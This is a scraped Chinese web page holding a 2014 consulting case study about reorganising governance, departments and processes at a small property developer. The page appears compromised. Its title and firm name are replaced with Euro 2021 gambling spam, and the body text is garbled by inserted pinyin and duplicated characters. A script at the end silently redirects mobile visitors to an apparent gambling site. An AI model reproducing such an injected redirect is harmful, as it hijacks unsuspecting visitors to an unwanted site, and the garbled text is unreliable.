2021欧洲杯指定官网

English
简体中文
To provide you with one-stop management consulting services
“三板斧”解决中小房企规范化管理难题
发(fa)表(biao)时间:2014-09-29 作者: 字号: A A A
 一(yi)、客户介绍

 

北京HY置地房(fang)地产有限(xian)公司(si),是一家只有一百多人的(de)房(fang)地产企业,每年销售(shou)额(e)二十多亿元。公司(si)前身是集团公司(si)的(de)房(fang)地产事业部,2007年(nian)随(sui)着业(ye)务的发(fa)展壮大(da),为了专业(ye)化发(fa)展,在(zai)原来房地产事业(ye)部(bu)基础上成(cheng)立(li)了集团全资(zi)的房地产公(gong)(gong)司。公(gong)(gong)司主要(yao)开发(fa)住宅项(xiang)目(mu)(mu),大(da)部(bu)分的项(xiang)目(mu)(mu)都是在(zai)边远三四线(xian)城市(shi),比如江苏(su)连云(yun)(yun)港,内(nei)(nei)蒙古海(hai)拉尔(er),云(yun)(yun)南(nan)瑞丽(li),福(fu)建(jian)南(nan)安等。公(gong)(gong)司规(gui)模小,地理(li)(li)分布广,人员差(cha)异(yi)大(da),内(nei)(nei)部(bu)管(guan)(guan)理(li)(li)不统一,企(qi)业(ye)运作(zuo)效率低(di),项(xiang)目(mu)(mu)进(jin)度管(guan)(guan)理(li)(li)经常拖期,项(xiang)目(mu)(mu)质(zhi)量(liang)参差(cha)不齐,项(xiang)目(mu)(mu)成(cheng)本经常超出预算控制(zhi),导致企(qi)业(ye)盈(ying)利较(jiao)差(cha)。为此,公(gong)(gong)司聘请2021欧洲杯指定官网管(guan)(guan)理(li)(li)咨询集团进(jin)行管(guan)(guan)理(li)(li)诊(zhen)断,重点提升公(gong)(gong)司管(guan)(guan)理(li)(li)规(gui)范性,提高管(guan)(guan)理(li)(li)效率。

 

二、项目背(bei)景

随着中(zhong)国宏(hong)观(guan)经济增长(zhang)速度进入“七上八下(xia)”的(de)年代,以及房(fang)地(di)(di)产调控政策的(de)影响,房(fang)地(di)(di)产的(de)销(xiao)(xiao)售(shou)量和销(xiao)(xiao)售(shou)价格均出现(xian)了下(xia)滑,房(fang)地(di)(di)产市场在调整中(zhong)迎来(lai)分化,从“黄(huang)金时(shi)代”到“白银时(shi)代”,企业在寻(xun)找(zhao)新的(de)行业突破点。很多中(zhong)小房(fang)地(di)(di)产企业倒闭,提升中(zhong)小房(fang)地(di)(di)产企业的(de)竞争(zheng)力,降低企业成本,是当前房(fang)地(di)(di)产冬(dong)天气候(hou)下(xia)的(de)重(zhong)要手段和现(xian)实路(lu)径。

 

三、主要问题

2021欧洲杯指定官网管理咨(zi)询集团项目组经过两周(zhou)的诊断调研,发现这家成立了多年的中小房(fang)地产(chan)企(qi)业,存在较多的问题(ti),核心问题(ti)聚焦在几个方(fang)面:

 

第一,管控(kong)界(jie)面不清晰(xi)。尤其在高层的管理方面存在的一系列的问题(ti),比(bi)如说母公(gong)司(si)和子公(gong)司(si)间的今(jin)天的权限(xian)不清楚(chu),导致在重大(da)的项目决策的时候觉(jue)着(zhe)比(bi)较(jiao)慢,董事会和经(jing)营层的权限(xian)也不够清晰。

 

第二,组织设置不(bu)够规范。组(zu)织(zhi)的(de)设置(zhi)和(he)企(qi)业的(de)战略、发(fa)展阶(jie)段不匹配,部(bu)门(men)(men)(men)和(he)部(bu)门(men)(men)(men)之间的(de)权责界面(mian)不够清晰,部(bu)门(men)(men)(men)设置(zhi)比(bi)较多(duo),十二(er)个人的(de)总部(bu),设立了(le)七个部(bu)门(men)(men)(men),导致部(bu)门(men)(men)(men)之间的(de)协调工(gong)作量(liang)(liang)比(bi)较大,效率降低(di);岗(gang)位的(de)设置(zhi)也不够明确,导致部(bu)门(men)(men)(men)招聘的(de)数量(liang)(liang)、质量(liang)(liang)和(he)要求无法(fa)把控,随意性(xing)强。

 

第三,流(liu)程缺失严重,流(liu)程控制(zhi)不(bu)到(dao)位。公司内部显性流程(cheng)(cheng)少(shao),有的(de)(de)只是一些(xie)简单的(de)(de)管(guan)(guan)理(li)流程(cheng)(cheng),靠的(de)(de)更多的(de)(de)管(guan)(guan)理(li)习惯和(he)经验(yan);大(da)部分业务(wu)流程(cheng)(cheng)基(ji)本处于废止状态,几乎不执行,导致(zhi)内部运作比较慢;各项目公司的(de)(de)流程(cheng)(cheng)和(he)表单不统(tong)一,总(zong)部审核(he)审批(pi)标(biao)准难(nan)以(yi)统(tong)一;流程(cheng)(cheng)的(de)(de)控(kong)制点不明确,导致(zhi)流程(cheng)(cheng)形式(shi)化,风险(xian)难(nan)以(yi)控(kong)制;比如(ru),公司的(de)(de)报(bao)销流程(cheng)(cheng),报(bao)销的(de)(de)额度和(he)审批(pi)权限没有层次,董(dong)(dong)事长(zhang)一支(zhi)笔,导致(zhi)董(dong)(dong)事长(zhang)事事都要审批(pi),占用了(le)大(da)量的(de)(de)时间。

薪酬。公司的薪酬已经有3年不调(diao)整,整体薪酬仅处于行业(ye)25%分位的水(shui)平,导致(zhi)高端人才(cai)(cai)难(nan)(nan)以(yi)引进,优秀人才(cai)(cai)难(nan)(nan)以(yi)挽留(liu),由于人员能(neng)力原因(yin),导致(zhi)大(da)量(liang)项(xiang)目进度(du)延期,成本高企。

 

四、基本对策

 

在(zai)和客(ke)户进行(xing)充分的(de)调研和沟(gou)通之后,2021欧洲杯指定官网项(xiang)目组进行(xing)使出了“三板斧”,对HY公司进行了管理规范化提升。

 

第一板斧:管控界面的梳理(li)。管(guan)控(kong)着重理(li)清三(san)个层(ceng)(ceng)面的管(guan)理(li)权限,第一层(ceng)(ceng)面即理(li)顺集(ji)团(tuan)和HY公司的(de)权限,主要侧重重大投资决策(ce)和重要人事任免权限的(de)划分;第二层面是明确HY公司董事会和(he)经营层的权限,重(zhong)点是根据(ju)公司法人(ren)治理结(jie)构(gou),构(gou)建权责明确的法人(ren)决(jue)策(ce)机制,让董事会聚焦于公司发展战略和(he)重(zhong)大(da)投(tou)资决(jue)策(ce)事项;第三层面是清晰HY公司(si)和(he)项目(mu)(mu)公司(si)的管(guan)理(li)界面,明确项目(mu)(mu)公司(si)的各(ge)类事项的权限范(fan)围。从管(guan)控事项划分,主要涉及(ji)九大管(guan)控领域,包括(kuo)项目(mu)(mu)拓展及(ji)论(lun)证、规划设计、成(cheng)本管(guan)理(li),工程管(guan)理(li)、营销(xiao)管(guan)理(li)、人力资源与(yu)行政管(guan)理(li)、财务管(guan)理(li)及(ji)资金控制、战略及(ji)经(jing)营计划、投资管(guan)理(li)与(yu)资产处置。

 

第二板斧:组织调整。按照房地产(chan)的价值链(lian),调整部(bu)门(men)(men)(men)结构,将原(yuan)来的七个部(bu)门(men)(men)(men)合并成为(wei)五个部(bu)门(men)(men)(men),形(xing)成项目管理(li)中(zhong)(zhong)心(xin)(xin)、成本(ben)控制中(zhong)(zhong)心(xin)(xin)、营销管理(li)中(zhong)(zhong)心(xin)(xin)、财务部(bu)、行政(zheng)人事部(bu)三(san)中(zhong)(zhong)心(xin)(xin)两部(bu)门(men)(men)(men)的组织架构。部(bu)门(men)(men)(men)的职(zhi)责清晰(xi),基(ji)本(ben)没有交叉和空白。在此基(ji)础上明确岗位(wei)设(she)(she)置,根据(ju)公司近(jin)期(qi)项目情况和未来发展规划,提出岗位(wei)设(she)(she)置要(yao)求和定编(bian)方案(an)。共设(she)(she)置23个岗位,34个编制,并在未(wei)来两年逐步(bu)满(man)编,以满(man)足(zu)公司项目建设需要。

 

第三板斧:流程优化(hua)。根据管(guan)控的要求,建立(li)三级流(liu)程(cheng)体系(xi)。流(liu)程(cheng)体系(xi)按照内容分为业务(wu)流(liu)程(cheng)和管(guan)理流(liu)程(cheng)。业务(wu)流(liu)程(cheng)按照价值链可以划分为项目拓展、规划设计、工(gong)程(cheng)管(guan)理、成本管(guan)理、市场营销和物业服(fu)务(wu)六大版块。一共完成了118个(ge)业(ye)(ye)务(wu)流程的梳理,基本(ben)涵盖了业(ye)(ye)务(wu)运作中的方方面面。管理流程主(zhu)要按照(zhao)职(zhi)能划分为战略计划、财(cai)务(wu)资金、人(ren)力资源、投(tou)资与资产、风险管控五(wu)大板块(kuai),共56个(ge)关键流程,涵(han)盖了公司(si)职(zhi)能管(guan)理的各个(ge)方(fang)面。

 

五、实施效果

 

规范(fan)各(ge)层级权限。明确了集(ji)团、HY公司、项目公司各层(ceng)级的管理界面,以及各个重(zhong)大(da)事(shi)项的决(jue)策权限(xian),结束了(le)以前那种混(hun)乱(luan)无序(xu)的状(zhuang)态,减少了(le)不必要(yao)的沟通,降低(di)了(le)领导(dao)人的工(gong)作(zuo)强度。

 

规范(fan)了组(zu)织设置。通过(guo)设立(li)大部(bu)(bu)(bu)门的(de)方式,部(bu)(bu)(bu)门数量减少,内部(bu)(bu)(bu)沟通更(geng)加(jia)通畅,部(bu)(bu)(bu)门壁垒有所降低;部(bu)(bu)(bu)门职(zhi)(zhi)责更(geng)加(jia)明(ming)确,推诿扯皮现(xian)象(xiang)(xiang)明(ming)显减少。岗位(wei)设置(zhi)清晰,岗位(wei)职(zhi)(zhi)责清楚(chu),岗位(wei)任职(zhi)(zhi)资格标准明(ming)确,人(ren)员招聘基本摆脱了(le)以前(qian)那种随意、拍(pai)脑袋要(yao)人(ren)的(de)现(xian)象(xiang)(xiang)。

 

提升了管理效率。通(tong)过系统(tong)(tong)性的流程(cheng)建设(she),各类(lei)经营管理活动基本都变得有据(ju)可依,路径(jing)明确,标准清(qing)晰(xi)。尤其各项目(mu)公司统(tong)(tong)一了(le)审批(pi)审核的流程(cheng)和表(biao)单,减少(shao)了(le)总部(bu)的审核审批(pi)时(shi)间(jian)。初步调查,新的流程(cheng)执(zhi)行后,各种审批(pi)决(jue)策时(shi)间(jian)比原来加快了(le)约三(san)分之一。

 

有效控制风险(xian)。由(you)于建立了规(gui)范(fan)的流(liu)(liu)程(cheng)(cheng)体(ti)系,流(liu)(liu)程(cheng)(cheng)表单也比(bi)较完善,各种(zhong)经营管理(li)活动变得有据可查,各个(ge)流(liu)(liu)程(cheng)(cheng)环(huan)节的审核、审批标准较为(wei)明确,有效(xiao)杜绝了过去那(nei)种(zhong)无流(liu)(liu)程(cheng)(cheng)或有流(liu)(liu)程(cheng)(cheng)不依的现(xian)象(xiang),流(liu)(liu)程(cheng)(cheng)运作质量大大提升,关键(jian)环(huan)节的控制力度大大加(jia)强,有力地控制了企业风险。

 

(作(zuo)者简介(jie):樊勇(yong),2021欧洲杯指定官网管(guan)理咨询集团(tuan)高级(ji)合伙人(ren),中国人(ren)民(min)大学MBA,十年企业中高(gao)层管(guan)理经(jing)历(li),八年管(guan)理咨(zi)询工作经(jing)验,在股权激励、风(feng)险管(guan)理、战略管(guan)理、人力资源等(deng)领域有较深造诣,具有系统的(de)管(guan)理知识理论(lun)和(he)丰富(fu)的(de)企业管(guan)理咨(zi)询经(jing)验。曾(ceng)为三十多(duo)家知名企业成功(gong)提供(gong)咨(zi)询服务。)

分享到:
在线咨询
上门义诊
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();